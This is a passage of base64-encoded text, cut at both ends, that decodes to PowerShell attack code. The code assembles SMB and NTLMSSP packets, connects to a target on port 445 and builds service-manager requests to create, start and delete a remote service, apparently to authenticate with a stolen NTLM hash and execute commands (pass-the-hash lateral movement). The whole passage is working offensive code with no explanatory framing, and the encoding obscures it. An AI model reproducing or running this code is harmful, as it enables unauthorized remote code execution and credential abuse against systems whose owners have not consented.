tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZU5hbWVfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZU5hbWVfQWN0dWFsQ291bnQiLCRwYWNrZXRfc2VydmljZV9sZW5ndGgpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VOYW1lIiwkcGFja2V0X3NlcnZpY2UpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0Rpc3BsYXlOYW1lX1JlZmVyZW50SUQiLCRwYWNrZXRfcmVmZXJlbnRfSUQpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0Rpc3BsYXlOYW1lX01heENvdW50IiwkcGFja2V0X3NlcnZpY2VfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EaXNwbGF5TmFtZV9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EaXNwbGF5TmFtZV9BY3R1YWxDb3VudCIsJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfRGlzcGxheU5hbWUiLCRwYWNrZXRfc2VydmljZSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQWNjZXNzTWFzayIsW0J5dGVbXV0oMHhmZiwweDAxLDB4MGYsMHgwMCkpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VUeXBlIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfU2VydmljZVN0YXJ0VHlwZSIsW0J5dGVbXV0oMHgwMiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX1NlcnZpY2VFcnJvckNvbnRyb2wiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19CaW5hcnlQYXRoTmFtZV9NYXhDb3VudCIsJHBhY2tldF9jb21tYW5kX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQmluYXJ5UGF0aE5hbWVfT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfQmluYXJ5UGF0aE5hbWVfQWN0dWFsQ291bnQiLCRwYWNrZXRfY29tbWFuZF9sZW5ndGgpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX0JpbmFyeVBhdGhOYW1lIiwkcGFja2V0X2NvbW1hbmQpDQogICAgJHBhY2tldF9TQ01DcmVhdGVTZXJ2aWNlVy5BZGQoIlNDTUNyZWF0ZVNlcnZpY2VXX05VTExQb2ludGVyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfVGFnSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19OVUxMUG9pbnRlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19EZXBlbmRTaXplIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfTlVMTFBvaW50ZXIzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfTlVMTFBvaW50ZXI0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXLkFkZCgiU0NNQ3JlYXRlU2VydmljZVdfUGFzc3dvcmRTaXplIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NDTUNyZWF0ZVNlcnZpY2VXDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTQ01TdGFydFNlcnZpY2VXKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICAkcGFja2V0X1NDTVN0YXJ0U2VydmljZVcgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU0NNU3RhcnRTZXJ2aWNlVy5BZGQoIlNDTVN0YXJ0U2VydmljZVdfQ29udGV4dEhhbmRsZSIsJHBhY2tldF9jb250ZXh0X2hhbmRsZSkNCiAgICAkcGFja2V0X1NDTVN0YXJ0U2VydmljZVcuQWRkKCJTQ01TdGFydFNlcnZpY2VXX1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TQ01TdGFydFNlcnZpY2VXDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTQ01EZWxldGVTZXJ2aWNlVygpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KDQogICAgJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVyA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVy5BZGQoIlNDTURlbGV0ZVNlcnZpY2VXX0NvbnRleHRIYW5kbGUiLCRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TQ01EZWxldGVTZXJ2aWNlVw0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNQ2xvc2VTZXJ2aWNlSGFuZGxlKCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9oYW5kbGUpDQoNCiAgICAkcGFja2V0X1NDTV9DbG9zZVNlcnZpY2VXID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NDTV9DbG9zZVNlcnZpY2VXLkFkZCgiU0NNQ2xvc2VTZXJ2aWNlV19Db250ZXh0SGFuZGxlIiwkcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU0NNX0Nsb3NlU2VydmljZVcNCn0NCg0KZnVuY3Rpb24gRGF0YUxlbmd0aDINCnsNCiAgICBwYXJhbSAoW0ludF0kbGVuZ3RoX3N0YXJ0LFtCeXRlW11dJHN0cmluZ19leHRyYWN0X2RhdGEpDQoNCiAgICAkc3RyaW5nX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9VSW50MTYoJHN0cmluZ19leHRyYWN0X2RhdGFbJGxlbmd0aF9zdGFydC4uKCRsZW5ndGhfc3RhcnQgKyAxKV0sMCkNCg0KICAgIHJldHVybiAkc3RyaW5nX2xlbmd0aA0KfQ0KDQppZigkaGFzaCAtbGlrZSAiKjoqIikNCnsNCiAgICAkaGFzaCA9ICRoYXNoLlN1YlN0cmluZygoJGhhc2guSW5kZXhPZigiOiIpICsgMSksMzIpDQp9DQoNCmlmKCREb21haW4pDQp7DQogICAgJG91dHB1dF91c2VybmFtZSA9ICREb21haW4gKyAiXCIgKyAkVXNlcm5hbWUNCn0NCmVsc2UNCnsNCiAgICAkb3V0cHV0X3VzZXJuYW1lID0gJFVzZXJuYW1lDQp9DQoNCiRwcm9jZXNzX0lEID0gW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzXTo6R2V0Q3VycmVudFByb2Nlc3MoKSB8IFNlbGVjdC1PYmplY3QgLWV4cGFuZCBpZA0KJHByb2Nlc3NfSUQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHByb2Nlc3NfSUQpKQ0KJHByb2Nlc3NfSUQgPSAkcHJvY2Vzc19JRCAtcmVwbGFjZSAiLTAwLTAwIiwiIg0KW0J5dGVbXV0kcHJvY2Vzc19JRF9ieXRlcyA9ICRwcm9jZXNzX0lELlNwbGl0KCItIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiRTTUJfY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQokU01CX2NsaWVudC5DbGllbnQuUmVjZWl2ZVRpbWVvdXQgPSA2MDAwMA0KDQp0cnkNCnsNCiAgICAkU01CX2NsaWVudC5Db25uZWN0KCRUYXJnZXQsIjQ0NSIpDQp9DQpjYXRjaA0Kew0KICAgIFdyaXRlLU91dHB1dCAiJFRhcmdldCBkaWQgbm90IHJlc3BvbmQiDQp9DQoNCmlmKCRTTUJfY2xpZW50LkNvbm5lY3RlZCkNCnsNCiAgICAkU01CX2NsaWVudF9zdHJlYW0gPSAkU01CX2NsaWVudC5HZXRTdHJlYW0oKQ0KICAgICRTTUJfY2xpZW50X3JlY2VpdmUgPSBOZXctT2JqZWN0IFN5c3RlbS5CeXRlW10gMTAyNA0KICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05lZ290aWF0ZVNNQicNCg0KICAgIHdoaWxlKCRTTUJfY2xpZW50X3N0YWdlIC1uZSAnZXhpdCcpDQogICAgew0KICAgICAgICANCiAgICAgICAgc3dpdGNoICgkU01CX2NsaWVudF9zdGFnZSkNCiAgICAgICAgew0KDQogICAgICAgICAgICAnTmVnb3RpYXRlU01CJw0KICAgICAgICAgICAgeyAgICAgICAgICANCiAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzIgMHgxOCAweDAxLDB4NDggMHhmZiwweGZmICRwcm9jZXNzX0lEX2J5dGVzIDB4MDAsMHgwMCAgICAgICANCiAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdCAkU01CX3ZlcnNpb24NCiAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICRTTUJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2RhdGENCiAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbNC4uN10pIC1lcSAnZmYtNTMtNGQtNDInKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJFNNQl92ZXJzaW9uID0gJ1NNQjEnDQogICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05UTE1TU1BOZWdvdGlhdGUnDQoNCiAgICAgICAgICAgICAgICAgICAgaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzM5XSkgLWVxICcwZicpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIlNNQiBzaWduaW5nIGlzIGVuYWJsZWQiDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmcgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmVnb3RpYXRlX2ZsYWdzID0gMHgxNSwweDgyLDB4MDgsMHhhMA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nID0gJGZhbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fa2V5X2xlbmd0aCA9IDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9uZWdvdGlhdGVfZmxhZ3MgPSAweDA1LDB4ODIsMHgwOCwweGEwDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdOZWdvdGlhdGVTTUIyJw0KDQogICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVs3MF0pIC1lcSAnMDMnKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJTTUIgc2lnbmluZyBpcyBlbmFibGVkIg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX25lZ290aWF0ZV9mbGFncyA9IDB4MTUsMHg4MiwweDA4LDB4YTANCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmluZyA9ICRmYWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zZXNzaW9uX2tleV9sZW5ndGggPSAweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmVnb3RpYXRlX2ZsYWdzID0gMHgwNSwweDgwLDB4MDgsMHhhMA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJ05lZ290aWF0ZVNNQjInDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJFNNQjJfdHJlZV9JRCA9IDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAkU01CX3Nlc3Npb25fSUQgPSAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEID0gMQ0KICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDAwLDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRCAgDQogICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdA0KICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGENCiAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpICAgIA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ05UTE1TU1BOZWdvdGlhdGUnDQogICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAnTlRMTVNTUE5lZ290aWF0ZScNCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgaWYoJFNNQl92ZXJzaW9uIC1lcSAnU01CMScpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzMgMHgxOCAweDA3LDB4YzggMHhmZiwweGZmICRwcm9jZXNzX0lEX2J5dGVzIDB4MDAsMHgwMA0KDQogICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF9uZWdvdGlhdGUgPSBHZXQtUGFja2V0TlRMTVNTUE5lZ290aWF0ZSAkU01CX25lZ290aWF0ZV9mbGFncw0KICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAkTlRMTVNTUF9uZWdvdGlhdGUgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05UTE1TU1BfbmVnb3RpYXRlICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9kYXRhID0gR2V0LVBhY2tldFNNQlNlc3Npb25TZXR1cEFuZFhSZXF1ZXN0ICROVExNU1NQX25lZ290aWF0ZQ0KICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkU01CX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSA9IEdldC1QYWNrZXROVExNU1NQTmVnb3RpYXRlICRTTUJfbmVnb3RpYXRlX2ZsYWdzDQogICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgJE5UTE1TU1BfbmVnb3RpYXRlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX25lZ290aWF0ZSAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMlNlc3Npb25TZXR1cFJlcXVlc3QgJE5UTE1TU1BfbmVnb3RpYXRlDQogICAgICAgICAgICAgICAgICAgICRTTUIyX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCiAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnZXhpdCcNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgICAkU01CX05UTE1TU1AgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmUpDQogICAgJFNNQl9OVExNU1NQID0gJFNNQl9OVExNU1NQIC1yZXBsYWNlICItIiwiIg0KICAgICRTTUJfTlRMTVNTUF9pbmRleCA9ICRTTUJfTlRMTVNTUC5JbmRleE9mKCI0RTU0NEM0RDUzNTM1MDAwIikNCiAgICAkU01CX05UTE1TU1BfYnl0ZXNfaW5kZXggPSAkU01CX05UTE1TU1BfaW5kZXggLyAyDQogICAgJFNNQl9kb21haW5fbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDEyKSAkU01CX2NsaWVudF9yZWNlaXZlDQogICAgJFNNQl90YXJnZXRfbGVuZ3RoID0gRGF0YUxlbmd0aDIgKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDQwKSAkU01CX2NsaWVudF9yZWNlaXZlDQogICAgJFNNQl9zZXNzaW9uX0lEID0gJFNNQl9jbGllbnRfcmVjZWl2ZVs0NC4uNTFdDQogICAgJFNNQl9OVExNX2NoYWxsZW5nZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDI0KS4uKCRTTUJfTlRMTVNTUF9ieXRlc19pbmRleCArIDMxKV0NCiAgICAkU01CX3RhcmdldF9kZXRhaWxzID0gJFNNQl9jbGllbnRfcmVjZWl2ZVsoJFNNQl9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTYgKyAkU01CX2RvbWFpbl9sZW5ndGgpLi4oJFNNQl9OVExNU1NQX2J5dGVzX2luZGV4ICsgNTUgKyAkU01CX2RvbWFpbl9sZW5ndGggKyAkU01CX3RhcmdldF9sZW5ndGgpXQ0KICAgICRTTUJfdGFyZ2V0X3RpbWVfYnl0ZXMgPSAkU01CX3RhcmdldF9kZXRhaWxzWygkU01CX3RhcmdldF9kZXRhaWxzLmxlbmd0aCAtIDEyKS4uKCRTTUJfdGFyZ2V0X2RldGFpbHMubGVuZ3RoIC0gNSldDQogICAgJE5UTE1faGFzaF9ieXRlcyA9ICgme2ZvciAoJGkgPSAwOyRpIC1sdCAkaGFzaC5sZW5ndGg7JGkgKz0gMil7JGhhc2guU3ViU3RyaW5nKCRpLDIpfX0pIC1qb2luICItIg0KICAgICROVExNX2hhc2hfYnl0ZXMgPSAkTlRMTV9oYXNoX2J5dGVzLlNwbGl0KCItIikgfCBGb3JFYWNo